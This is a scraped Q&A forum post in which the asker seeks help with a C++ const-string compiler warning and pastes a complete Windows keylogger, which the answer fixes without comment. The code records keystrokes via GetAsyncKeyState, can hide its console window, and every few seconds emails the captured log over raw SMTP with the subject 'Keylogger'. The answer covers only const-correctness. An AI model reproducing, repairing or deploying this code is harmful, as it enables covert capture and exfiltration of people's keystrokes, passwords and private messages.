简体   繁体   中英

Greetings, I have a syntax problem in my code. Can you help me?

I have a code made in c ++ however I am using an IDE called DEV-C ++ and it presents a compilation error:

[Warning] deprecated conversion from string constant to 'char*' [-Wwrite-strings]

The error points to the condition inside the if: savePressedKey.

if(pressedKey) {
   savePressedKey(pressedKey, FILE_NAME);
   now = clock();
} 

My code is below and also by the link: https://godbolt.org/z/zqgCzS

#include <stdio.h>
#include <windows.h>
#include <time.h>

#define INVISIBLE_CONSOLE 0 
#define SILENT_CONSOLE 0 

#define LISTENER_TIMER 5
#define SENDER_SLEEP_TIME 100 

#define FILE_NAME "MarcadorLog.txt"

#define GMAIL_SERVER "gmail-smtp-in.l.google.com"
#define EMAIL_FROM "teste@gmail.com"
#define EMAIL_TO "teste@gmail.com"

void verifyStealthMode();
void savePressedKey(char pressedKey, char fileName[]);
int getPressedKeyBetweenASCII(int ASCIIValue1, int ASCIIValue2);
int getFileLength(char fileName[]);
char *getBufferFromFile(char fileName[]);
void overrideFile(char fileName[]);
void sendData(SOCKET socket, char data[]);
void sendEmail(char server[], char from[], char to[], char buffer[]);

void verifyStealthMode() {
    if(INVISIBLE_CONSOLE) {
        HWND stealth;
        AllocConsole();
        stealth = FindWindowA("ConsoleWindowClass", NULL);
        ShowWindow(stealth, 0);
    }
}

void savePressedKey(char pressedKey, char fileName[]) {
    FILE *file = fopen(fileName, "a+");

    fputc(pressedKey, file);
    fclose(file);
}

int getPressedKeyBetweenASCII(int ASCIIValue1, int ASCIIValue2) {
    int pressedKey = 0;

    for(int character = ASCIIValue1; character <= ASCIIValue2; character++) {
        if(GetAsyncKeyState(character) == -32767) {
            pressedKey = character;
        }
    }

    return pressedKey;
}

int getFileLength(char fileName[]) {
    FILE *file = fopen(fileName, "rb");

    fseek(file, 0, SEEK_END);

    int fileLength = ftell(file);

    fclose(file);

    return fileLength;
}

char *getBufferFromFile(char fileName[]) {
    FILE *file = fopen(fileName, "rb");

    int fileLength = getFileLength(fileName);

    char *buffer = (char *) malloc(fileLength + 1);

    fread(buffer, sizeof(char), fileLength, file);

    buffer[fileLength] = '\0';

    fclose(file);

    return buffer;
}

void overrideFile(char fileName[]) {
    FILE *file = fopen(fileName, "w");

    fclose(file);
}

int main() {
    verifyStealthMode();

    clock_t timer;
    clock_t now = clock();

    while(1) {
        int pressedKey = getPressedKeyBetweenASCII(8, 255);

        if(pressedKey) {
            savePressedKey(pressedKey, FILE_NAME);

            now = clock();
        }

        timer = (clock() - now) / CLOCKS_PER_SEC;

        if(timer > LISTENER_TIMER) {
            int fileLength = getFileLength(FILE_NAME);

            if(fileLength > 0) {
                sendEmail(GMAIL_SERVER, EMAIL_FROM, EMAIL_TO, getBufferFromFile(FILE_NAME));

                overrideFile(FILE_NAME);
            }

            now = clock();
        } else if(!SILENT_CONSOLE) {
            system("cls");
            printf("Lendo...");
            printf("\nTime para novo envio: %ld\n\n", (LISTENER_TIMER - timer));
        }
    }

    return 0;
}

void sendData(SOCKET sock, char data[]) {
    send(sock, data, strlen(data), 0);
    Sleep(SENDER_SLEEP_TIME);

    if(!SILENT_CONSOLE) printf("\n%s", data);
}

void sendEmail(char server[], char from[], char to[], char buffer[]) {
    SOCKET sock;
    WSADATA wsaData;
    struct hostent *host;
    struct sockaddr_in dest;

    char data[3000];

    // Get socket and dest:
    WSAStartup(0x202, &wsaData);

    host = gethostbyname(server);

    memset(&dest, 0, sizeof(dest));
    memcpy(&(dest.sin_addr), host->h_addr, host->h_length);

    dest.sin_family = host->h_addrtype;
    dest.sin_port = htons(25);

    sock = socket(AF_INET, SOCK_STREAM, 0);

    connect(sock, (struct sockaddr *) &dest, sizeof(dest));
    Sleep(SENDER_SLEEP_TIME);

    sprintf(data, "Ola me.somepalace.com\n");
    sendData(sock, data);

    sprintf(data, "Email de: <%s>\n", from);
    sendData(sock, data);

    sprintf(data, "recebido por: <%s>\n", to);
    sendData(sock, data);

    sprintf(data, "DATA\n");
    sendData(sock, data);

    sprintf(data, "para: %s\nFROM: %s\nSUBJECT: Keylogger\n%s\r\n.\r\n", to, from, buffer);
    sendData(sock, data);

    sprintf(data, "sair\n");
    sendData(sock, data);

    if(!SILENT_CONSOLE) {
        printf("\ntodos os pacotes foram enviados");
        Sleep(5000);
        system("cls");
    }

    closesocket(sock);
    WSACleanup();
}

This warning means that you are trying to pass a string literal that in C++ (opposite to C) has the type of a constant character array to a function the corresponding parameter of which does not have the qualifier const .

If this function does not change the passed string then it shall be declared like

void savePressedKey(char pressedKey, const char fileName[]);

Otherwise if the function changes the passed string using a string literal as an argument will result in undefined behavior.

Even if the program is a C program nevertheless you should declare the parameter with the qualifier const .

The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM